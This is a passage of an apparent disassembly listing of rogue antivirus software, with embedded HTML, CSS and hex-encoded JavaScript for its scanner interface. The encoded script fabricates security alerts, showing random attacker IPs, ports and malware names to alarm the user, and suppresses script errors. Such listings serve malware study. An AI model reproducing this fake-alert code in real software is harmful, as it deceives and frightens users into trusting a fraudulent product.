		dd 0AE59ABDCh, 2D3592B3h, 4F27AF6Ah, 0B4F76DE6h, 0BE2E036Bh
		dd 0C8DD4B58h, 8A67AE02h, 0B6B51795h, 0D6C6DAABh, 5E0B1B7h
		dd 0F9B6EEC8h, 742ADB26h, 600C69B3h, 2594E343h,	935352D3h
		dd 5860660Dh, 0D956754Dh, 6A7277C6h, 62E0D8DDh,	677285Bh
		dd 96097253h, 0F6CB6D5Bh, 0B87DB4CDh, 1BBC15AAh, 0A15C2583h
		dd 0A874A300h, 42225514h, 171A8425h, 3623CF67h,	6C9350CEh
		dd 0E6876347h, 8E40A0F8h, 4C838FCDh, 0F9168C64h, 2F0BC929h
		dd 0D3C4067Dh, 3CAEB4A6h, 48A94E49h, 9C38CCA5h,	24BC5666h
		dd 0EB930A5Dh, 210EE4F2h, 130077E4h, 3CA795EAh,	53032E64h
		dd 2B1CE6C5h, 0D4A9C933h, 8B4E2530h, 57B3836Dh,	154D0ACBh
		dd 63C3B9CBh
		dd 0CF32A6F5h, 22B14205h, 6416AA0Ah, 98331FEh, 0D20F5555h
		dd 6BFBCDC9h, 79CBA1DCh, 0BA12AEE7h, 611BACCCh,	4F2BA971h
		dd 5377E95Dh, 1174DAEh,	4C43F795h, 2C7DD24Fh, 0CEC3EC5Ch
		dd 0BEBF433Bh, 0CE0BA4D7h, 4855096Fh, 3AB2C3CBh, 2BF57D62h
		dd 44D50E4Ch, 504CD34Ch, 5B645C5Ah, 0FF6A3B29h,	8191D17Dh
		dd 0BB1D6EB5h, 631E167h, 0E47F7811h, 66656A66h,	0ACDE0F61h
		dd 1D1D99D8h, 66CC01ACh, 0C851D34Bh, 0C0A2A596h, 0F2DFED70h
		dd 24BE777Eh, 4B64AFBEh, 6B6FEA08h, 0A6DBC2F7h,	0B96BB46Dh
		dd 0FBA2E7C6h, 0AFB586C2h, 51559518h, 0B7399323h, 245A76A7h
		dd 576DFAF9h, 0FC94FB07h, 7A92F4Dh, 8B75B4ABh, 56DEDF7Bh
		dd 4A43B0AFh, 0F7D21743h, 65B5A0D3h, 4C04374Fh,	84354563h
		dd 53B6570Eh, 6FB78CEDh, 745579C6h, 3B9BEA4Dh, 0BF104D0Eh
		dd 0ABD7ED5h, 0BF5C8F7h, 79EF3762h, 97671848h, 68593359h
		dd 0B4104ACDh, 6EE6454Ch, 0EF583305h, 87B3E0DDh, 5C50E0FAh
		dd 0DD3DFC87h, 6E7DA40h, 28FAFA01h, 0BB1B5E07h,	39B9C6FCh
		dd 7EA4577Ah, 0D4BBAAE4h, 278F58EAh, 0F5CEB3D5h, 0EBFD7716h
		dd 0D83A7968h, 52942EC7h, 68EC9D6Ch, 120290F7h,	1BB6F69Ah
		dd 776C07C7h, 68EFDCBBh, 0FDCFB105h, 41E920EEh,	0F7C1CE3Ah
		dd 0EFFDFBBEh, 0E0BC0F80h, 0C2F84F07h, 0D1CBE1Bh, 3B000048h
		dd 6D74683Ch, 0A0D3E6Ch, 6165683Ch, 0A0D3E64h, 7263733Ch
		dd 20747069h, 3D637273h, 2F534A22h, 6C6D7448h, 746E6F43h
		dd 2E6C6F72h, 3E22736Ah, 63732F3Ch, 74706972h, 3C0A0D3Eh
		dd 69726373h, 74207470h, 3D657079h, 78657422h, 616A2F74h
		dd 63736176h, 74706972h, 0A0D3E22h, 65747865h, 6C616E72h
		dd 6F68532Eh, 72272877h, 74686769h, 74746F62h, 2C276D6Fh
		dd 35383220h, 3832202Ch, 203B2930h, 0D202020h, 636F640Ah
		dd 6E656D75h, 6E6F2E74h, 656C6573h, 74737463h, 20747261h
		dd 200A0D3Dh, 66202020h, 74636E75h, 206E6F69h, 7B202928h
		dd 74657220h, 206E7275h, 736C6166h, 7D203B65h, 660A0D3Bh
		dd 74636E75h, 206E6F69h, 72456F6Eh, 28726F72h, 65727B29h
		dd 6E727574h, 75727420h, 0D7D3B65h, 6E69770Ah, 2E776F64h
		dd 72656E6Fh, 20726F72h, 6F6E203Dh, 6F727245h, 0A0D3B72h
		dd 20202020h, 75660A0Dh, 6974636Eh, 73206E6Fh, 6E497465h
		dd 29286F66h, 0D7B0A0Dh, 616E090Ah, 2073656Dh, 275B203Dh
		dd 336E6957h, 754E2F32h, 2E6C6571h, 202C2745h, 6E614227h
		dd 4672656Bh, 412E786Fh, 27202C27h, 336E6957h, 72472E32h
		dd 2E736D61h, 3B5D2749h, 69090A0Dh, 3D203170h, 72617020h
		dd 6E496573h, 37312874h, 614D2A30h, 722E6874h, 6F646E61h
		dd 2929286Dh, 3B30382Bh, 69090A0Dh, 3D203270h, 72617020h
		dd 6E496573h, 35322874h, 614D2A35h, 722E6874h, 6F646E61h
		dd 2929286Dh, 90A0D3Bh,	20337069h, 6170203Dh, 49657372h
		dd 3228746Eh, 4D2A3535h, 2E687461h, 646E6172h, 29286D6Fh
		dd 0A0D3B29h, 34706909h, 70203D20h, 65737261h, 28746E49h
		dd 2A353532h, 6874614Dh, 6E61722Eh, 286D6F64h, 0D3B2929h
		dd 0A0D090Ah, 636F6409h, 6E656D75h, 65672E74h, 656C4574h
		dd 746E656Dh, 64497942h, 70692728h, 692E2927h, 72656E6Eh
		dd 4C4D5448h, 69203D20h, 272B3170h, 692B272Eh, 272B3270h
		dd 692B272Eh, 272B3370h, 692B272Eh, 203B3470h, 64090A0Dh
		dd 6D75636Fh, 2E746E65h, 45746567h, 656D656Ch, 7942746Eh
		dd 27286449h, 726F7073h, 2E292774h, 656E6E69h, 4D544872h
		dd 203D204Ch, 73726170h, 746E4965h, 35353628h, 4D2A3533h
		dd 2E687461h, 646E6172h, 29286D6Fh, 0D203B29h, 6F64090Ah
		dd 656D7563h, 672E746Eh, 6C457465h, 6E656D65h, 49794274h
		dd 64272864h, 74726F70h, 692E2927h, 72656E6Eh, 4C4D5448h
		dd 70203D20h, 65737261h, 28746E49h, 33353536h, 614D2A35h
		dd 722E6874h, 6F646E61h, 2929286Dh, 90A0D3Bh, 75636F64h
		dd 746E656Dh, 7465672Eh, 6D656C45h, 42746E65h, 28644979h
		dd 72687427h, 27746165h, 6E692E29h, 4872656Eh, 204C4D54h
		dd 616E203Dh, 5B73656Dh, 73726170h, 746E4965h, 616E2828h
		dd 2E73656Dh, 676E656Ch, 312D6874h, 614D2A29h, 722E6874h
		dd 6F646E61h, 2929286Dh, 0A0D3B5Dh, 3C0A0D7Dh, 7263732Fh
		dd 3E747069h, 2F3C0A0Dh, 64616568h, 3C0A0D3Eh, 79646F62h
		dd 79747320h, 223D656Ch, 7265766Fh, 776F6C66h, 6469683Ah
		dd 3B6E6564h, 6772616Dh, 303A6E69h, 6461703Bh, 676E6964h
		dd 623B303Ah, 676B6361h, 6E756F72h, 72753A64h, 6E27286Ch
		dd 6C617465h, 2E747265h, 27666967h, 6F6E2029h, 7065722Dh
		dd 3B746165h, 0A0D3E22h, 7669643Ch, 79747320h, 223D656Ch
		dd 69736F70h, 6E6F6974h, 7362613Ah, 74756C6Fh, 6F743B65h
		dd 35313A70h, 3B787035h, 7466656Ch, 7039313Ah, 69773B78h
		dd 3A687464h, 70303532h, 65683B78h, 74686769h, 7030353Ah
		dd 6F663B78h, 732D746Eh, 3A657A69h, 78703131h, 6E6F663Bh
		dd 61662D74h, 796C696Dh, 7265563Ah, 616E6164h, 6E61732Ch
		dd 65732D73h, 3B666972h, 656E696Ch, 6965682Dh, 3A746867h
		dd 3B342E31h, 74413E22h, 6B636174h, 6F726620h, 3C203A6Dh
		dd 6E617073h, 3D646920h, 27706927h, 732F3C3Eh, 3E6E6170h
		dd 6F70202Ch, 3C207472h, 6E617073h, 3D646920h, 6F707327h
		dd 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h, 61747441h
		dd 64656B63h, 726F7020h, 3C203A74h, 6E617073h, 3D646920h
		dd 6F706427h, 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h
		dd 65726854h, 203A7461h, 6170733Ch, 6469206Eh, 6874273Dh
		dd 74616572h, 2F3C3E27h, 6E617073h, 642F3C3Eh, 0D3E7669h
		dd 69643C0Ah, 74732076h, 3D656C79h, 72756322h, 3A726F73h
		dd 646E6168h, 736F703Bh, 6F697469h, 62613A6Eh, 756C6F73h
		dd 743B6574h, 323A706Fh, 78703035h, 66656C3Bh, 38343A74h
		dd 773B7870h, 68746469h, 7038383Ah, 65683B78h, 74686769h
		dd 7031323Ah, 20223B78h, 6C636E6Fh, 3D6B6369h, 74786522h
		dd 616E7265h, 73662E6Ch, 74754274h, 436E6F74h, 6B63696Ch
		dd 223B2928h, 642F3C3Eh, 0D3E7669h, 69643C0Ah, 74732076h
		dd 3D656C79h, 72756322h, 3A726F73h, 646E6168h, 736F703Bh
		dd 6F697469h, 62613A6Eh, 756C6F73h, 743B6574h, 323A706Fh
		dd 78703035h, 66656C3Bh, 34313A74h, 3B787035h, 74646977h
		dd 38383A68h, 683B7870h, 68676965h, 31323A74h, 223B7870h
		dd 636E6F20h, 6B63696Ch, 7865223Dh, 6E726574h, 432E6C61h
		dd 65736F6Ch, 3E222928h, 69642F3Ch, 0A0D3E76h, 6F622F3Ch
		dd 0D3E7964h, 682F3C0Ah, 3E6C6D74h, 0A0Dh, 0
aHtmlHeadScript	db '<html>',0Dh,0Ah
		db '<head>',0Dh,0Ah
		db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
		db '<script type="text/javascript">',0Dh,0Ah
		db 'external.Show(',27h,'center',27h,', 541, 376);',0Dh,0Ah
		db 'document.onselectstart =',0Dh,0Ah
		db '    function () { return false; };',0Dh,0Ah
		db 'function noError(){return true;}',0Dh,0Ah
		db 'window.onerror = noError;',0Dh,0Ah
		db '    ',0Dh,0Ah
		db '</script>',0Dh,0Ah
		db '</head>',0Dh,0Ah
		db '<body style="overflow:hidden;margin:0;padding:0;background:url(',27h
		db 'bigalert.gif',27h,') no-repeat;">',0Dh,0Ah
		db '<div onclick="document.getElementById(',27h,'minihelp',27h,').style.dis'
		db 'play=',27h,'block',27h,';" onmouseout="document.getElementById(',27h,'mini'
		db 'help',27h,').style.display=',27h,'none',27h,';" style="cursor:hand;positio'
		db 'n:absolute;top:220px;left:48px;width:192px;height:19px;"></div>',0Dh
		db 0Ah
		db '<div style="cursor:hand;position:absolute;top:335px;left:77px;wid'
		db 'th:198px;height:21px;" onclick="external.fstButtonClick();"></div'
		db '>',0Dh,0Ah
		db '<div style="cursor:hand;position:absolute;top:335px;left:285px;wi'
		db 'dth:198px;height:21px;" onclick="external.Close();"></div>',0Dh,0Ah
		db '<div id="minihelp" style="display:none;background: url(',27h,'smalla'
		db 'lert.gif',27h,') no-repeat;position:absolute;top:235px;left:10px;wid'
		db 'th:439px;height:112px;"></div>',0Dh,0Ah
		db '</body>',0Dh,0Ah
		db '</html>',0
		align 10h
aHtmlHeadStyleT	db '<html>',0Dh,0Ah
		db '<head>',0Dh,0Ah
		db '<style type="text/css">',0Dh,0Ah
		db '<!--',0Dh,0Ah
		db 'body {',0Dh,0Ah
		db '    overflow:hidden; ',0Dh,0Ah
		db '    margin:0;',0Dh,0Ah
		db '    padding:0;',0Dh,0Ah
		db '    cursor:default;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '#headerBlock {width:940px;height:108px;background:url(header-bg.g'
		db 'if) no-repeat center top;}',0Dh,0Ah
		db '.logoBlock {',0Dh,0Ah
		db '    width:50%;',0Dh,0Ah
		db '    height:80px;',0Dh,0Ah
		db '    padding-top:20px;',0Dh,0Ah
		db '    background:url(logo-icon.gif) no-repeat 15px 22px;',0Dh,0Ah
		db '    vertical-align:middle;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.logoBlock .logo, .logoSlogan {',0Dh,0Ah
		db '    padding:0 0 0 70px;    ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.logo {',0Dh,0Ah
		db '    font-size:24px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#fff;  ',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.logoYear {',0Dh,0Ah
		db '    font-size:24px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#e6ecb5;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.logoSlogan {',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-style:italic;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#fff;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.contentBlock-rightColumn {',0Dh,0Ah
		db 9,'position: absolute;',0Dh,0Ah
		db 9,'top: 108px;',0Dh,0Ah
		db 9,'left: 249px;',0Dh,0Ah
		db '    width:691px;',0Dh,0Ah
		db '    height:475px;',0Dh,0Ah
		db '    background:url(content-rigthColumn-bg.gif) no-repeat right to'
		db 'p;',0Dh,0Ah
		db '    padding: 0 10px 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rightColumnPadding {',0Dh,0Ah
		db 9,'padding:25px 0 0 14px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.contentHeader {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:40px;',0Dh,0Ah
		db '    background:url(content-header-bg.gif) no-repeat center top;',0Dh
		db 0Ah
		db '}',0Dh,0Ah
		db '.contentHeaderPadding-tab {',0Dh,0Ah
		db '    padding:0 0 0 10px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.verticalAlignMiddle {',0Dh,0Ah
		db '    vertical-align:middle;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.marginHeaderIcon {',0Dh,0Ah
		db '    margin:2px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.contentHeader span {',0Dh,0Ah
		db '    font-size:20px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#fff;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.currentState {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:80px;',0Dh,0Ah
		db '    background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah
		db '    margin:9px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.currentStatePadding {',0Dh,0Ah
		db '    padding:7px 0 0 10px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.sigVerPadding {',0Dh,0Ah
		db '    padding:0 8px 0 0;',0Dh,0Ah
		db '}',9,0Dh,0Ah
		db '.verticalAlignTop {',0Dh,0Ah
		db '    vertical-align:top;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.currentState span {',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#4e4e4e;  ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.currentState .green {',0Dh,0Ah
		db '    color:#578427;  ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanPath {',0Dh,0Ah
		db '    height:50px;',0Dh,0Ah
		db '    background:url(scan-path-bg.gif) no-repeat center center;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanPathTable {',0Dh,0Ah
		db '    width:630px;',0Dh,0Ah
		db '    height:30px;',0Dh,0Ah
		db '    table-layout: fixed;',0Dh,0Ah
		db '    margin:0 0 0 12px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanPathIconTd {',0Dh,0Ah
		db '    width:21px;    ',0Dh,0Ah
		db '    text-align:center;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '#filename {',0Dh,0Ah
		db '    width:100%;    ',0Dh,0Ah
		db '    behavior:path;',0Dh,0Ah
		db '    overflow-x:hidden;',0Dh,0Ah
		db '    white-space:nowrap;',0Dh,0Ah
		db '    text-overflow:ellipsis;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanPathTotal {',0Dh,0Ah
		db '    width:77px;',0Dh,0Ah
		db '    overflow-x:hidden;',0Dh,0Ah
		db '    padding:0 0 0 3px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.threatsTotal {',0Dh,0Ah
		db '    width:97px;',0Dh,0Ah
		db '    overflow-x:hidden;',0Dh,0Ah
		db '    padding:0 0 0 3px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanPathTotalTd {',0Dh,0Ah
		db '    width:84px;',0Dh,0Ah
		db '    background:url(scan-path-total-bg.gif) no-repeat center cente'
		db 'r;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.threatsTotalTd {',0Dh,0Ah
		db '    width:104px;',0Dh,0Ah
		db '    background:url(threats-total-bg.gif) no-repeat center center;'
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db '.totalText {',0Dh,0Ah
		db '    font-size:10px!important;',0Dh,0Ah
		db '    white-space:nowrap;    ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.dataStat {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:80px;',0Dh,0Ah
		db '    background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah
		db '    margin:9px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.dataStatPadding {',0Dh,0Ah
		db '    padding:7px 0 0 10px;',0Dh,0Ah
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db '.dataStat span {',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.dataStat .green, .tabTextBg .green {',0Dh,0Ah
		db '    color:#578427;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.dataStat .blue, .tabTextBg .blue {',0Dh,0Ah
		db '    color:#68a4ae;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.dataStat .lt-grey, .tabTextBg .lt-grey {',0Dh,0Ah
		db '    font-size:11px;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#bfbfbf;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rezultTableHead {',0Dh,0Ah
		db '    margin:4px 0 0 0;',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:26px;',0Dh,0Ah
		db '    background:url(rezult-table-head-bg.gif) no-repeat left cente'
		db 'r;',0Dh,0Ah
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableHeadCell1{',0Dh,0Ah
		db '    width:138px;    ',0Dh,0Ah
		db '    border-right:1px solid #dadada;',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableHeadCell2{',0Dh,0Ah
		db '    width:93px;',0Dh,0Ah
		db '    border-right:1px solid #dadada;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableHeadCell3{',0Dh,0Ah
		db '    width:100%%;',0Dh,0Ah
		db '    padding:0 17px 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTablePath {',0Dh,0Ah
		db '    height:17px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '#scrollRezultTable {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:129px;',0Dh,0Ah
		db '    background:url(rezult-table-bg.gif) no-repeat left top;',0Dh,0Ah
		db 9,'background-position-y: expression(this.scrollTop);',0Dh,0Ah
		db '    overflow-x:hidden;',0Dh,0Ah
		db '    overflow-y:scroll;',9,0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTable {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    table-layout: fixed;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTable td {',0Dh,0Ah
		db 9,'text-overflow:ellipsis;',0Dh,0Ah
		db 9,'overflow:hidden;',0Dh,0Ah
		db 9,'white-space:nowrap;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableHead span {',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableCell1 {',0Dh,0Ah
		db 9,'height:26px;',0Dh,0Ah
		db 9,'width:145px;',0Dh,0Ah
		db '    aborder-right:1px solid #dadada;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rezultTableCell2 {',0Dh,0Ah
		db 9,'height:26px;',0Dh,0Ah
		db 9,'width:100px;',0Dh,0Ah
		db '    aborder-right:1px solid #dadada;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rezultTableCell3 {',0Dh,0Ah
		db 9,'height:26px;',0Dh,0Ah
		db 9,'width:100%;',0Dh,0Ah
		db '    aborder-right:1px solid #dadada;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rezultTableCell1 div {',0Dh,0Ah
		db '    font-size:13px;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#00649c;',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableCell2 div {',0Dh,0Ah
		db '    font-size:13px;',0Dh,0Ah
		db '    font-style:italic;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableCell3 div, .color1, .color2, .color3, .color4 {',0Dh,0Ah
		db '    font-size:13px;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#595959;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableCell3 a:link, .rezultTableCell3 a:visited, .rezultTab'
		db 'leCell3 a:hover, .rezultTableCell3 a:active',0Dh,0Ah
		db '{',0Dh,0Ah
		db '    color:#595959;    ',0Dh,0Ah
		db 9,'border: none;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTableCell3 .color1 {   /* Text Color for Status cell! */',0Dh
		db 0Ah
		db '    color:#7c4f19!important;    ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.rezultTable div, .rezultTableHead span {',0Dh,0Ah
		db '    padding:0 0 0 5px;',0Dh,0Ah
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTable td {',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.rezultTable tr {',0Dh,0Ah
		db '    height:20px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.textAlignRight {',0Dh,0Ah
		db '    text-align:right;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanProgress {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    height:56px;',0Dh,0Ah
		db '    background:url(scan-progress-bg.gif) no-repeat center top;',0Dh,0Ah
		db '    margin:9px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanProgress span {',0Dh,0Ah
		db 'color:#4E4E4E;',0Dh,0Ah
		db 'font-family:Verdana,sans-serif;',0Dh,0Ah
		db 'font-size:12px;',0Dh,0Ah
		db 'font-weight:bold;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanProgressPadding {',0Dh,0Ah
		db '    padding:0 0 0 10px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanProgressComplPadding {',0Dh,0Ah
		db '    padding:0 7px 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanProgressTopRow {',0Dh,0Ah
		db '    height:25px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanProgress span {',0Dh,0Ah
		db '    font-weight:bold;    ',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.scanProgress span.lt-green {',0Dh,0Ah
		db '    color:#89ad1b;    ',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanProgressScale {',0Dh,0Ah
		db '    width:630px;',0Dh,0Ah
		db '    height:21px;',0Dh,0Ah
		db '    background:url(scan-progress-scale-bg.gif) no-repeat center c'
		db 'enter;',0Dh,0Ah
		db '    overflow:hidden;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '#footerBlock {',0Dh,0Ah
		db '    width:940px;',0Dh,0Ah
		db '    height:21px;',0Dh,0Ah
		db '   ',9,'position: relative;',0Dh,0Ah
		db '    top: -8px;',0Dh,0Ah
		db '    background:url(footer-bg.gif) no-repeat center top;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.headerRightPart {',0Dh,0Ah
		db '    padding:7px 20px 0 0;',0Dh,0Ah
		db '    text-align:right;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.clobut {',0Dh,0Ah
		db 9,'position: relative;',0Dh,0Ah
		db 9,'top: -80px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '#contentBlock-leftColumn {',0Dh,0Ah
		db 9,'float: left;',0Dh,0Ah
		db 9,'position: relative;',0Dh,0Ah
		db '    width:249px;',0Dh,0Ah
		db '    top: -8px;',0Dh,0Ah
		db '    height:475px;',0Dh,0Ah
		db '    padding:20px 0 -20px 0;',0Dh,0Ah
		db '    background:url(content-leftColumn-bg.gif) no-repeat left top;'
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db '#contentBlock-leftColumn .but {',0Dh,0Ah
		db '    width:241px;',0Dh,0Ah
		db '    height:40px;',0Dh,0Ah
		db '    background:url(menu-bg.gif) no-repeat left center;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '#contentBlock-leftColumn .butSelected {',0Dh,0Ah
		db '    width:241px;',0Dh,0Ah
		db '    height:40px;',0Dh,0Ah
		db '    background:url(menu-bg-selected.gif) no-repeat left center;',0Dh
		db 0Ah
		db '}',0Dh,0Ah
		db '.leftColumnTab div {',0Dh,0Ah
		db '    padding:0 0 0 75px;',0Dh,0Ah
		db '    vaertical-align:middle;',0Dh,0Ah
		db '    height:47px;',0Dh,0Ah
		db '    font-size:18px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#00667e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.menuTopMargin {',0Dh,0Ah
		db '    margin:5px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tab1 {',0Dh,0Ah
		db '    background:url(tab1-pic.gif) no-repeat 25px center;',0Dh,0Ah
		db '    position: relative;',0Dh,0Ah
		db '    left: -70px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tab2 {',0Dh,0Ah
		db '    background:url(tab2-pic.gif) no-repeat 25px center;',0Dh,0Ah
		db '    position: relative;',0Dh,0Ah
		db '    left: -70px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tab3 {',0Dh,0Ah
		db '    background:url(tab3-pic.gif) no-repeat 25px center;',0Dh,0Ah
		db '    position: relative;',0Dh,0Ah
		db '    left: -70px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tab4 {',0Dh,0Ah
		db '    background:url(tab4-pic.gif) no-repeat 25px center;',0Dh,0Ah
		db '    position: relative;',0Dh,0Ah
		db '    left: -70px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tab5 {',0Dh,0Ah
		db '    background:url(tab5-pic.gif) no-repeat 25px center;',0Dh,0Ah
		db '    position: relative;',0Dh,0Ah
		db '    left: -70px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.menuText {',0Dh,0Ah
		db 9,'position:relative;',0Dh,0Ah
		db 9,'top:12px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.menuTextTry',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'position:relative;',0Dh,0Ah
		db 9,'top:12px;',0Dh,0Ah
		db 9,'color:#00a9d1;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.regTextMargin {',0Dh,0Ah
		db '    text-align:center;',0Dh,0Ah
		db '    margin:100px 0 0 8px;',0Dh,0Ah
		db '    cursor: hand;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.updBase {',0Dh,0Ah
		db '    height:50px;',0Dh,0Ah
		db '    background: transparent url(upd-base-bg.gif) no-repeat center'
		db ' center;',0Dh,0Ah
		db '    cursor: hand;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.updBasePadding {',0Dh,0Ah
